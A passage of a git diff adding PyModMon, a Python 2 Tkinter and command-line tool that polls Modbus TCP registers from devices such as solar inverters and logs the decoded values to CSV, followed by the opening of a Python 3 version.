S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] 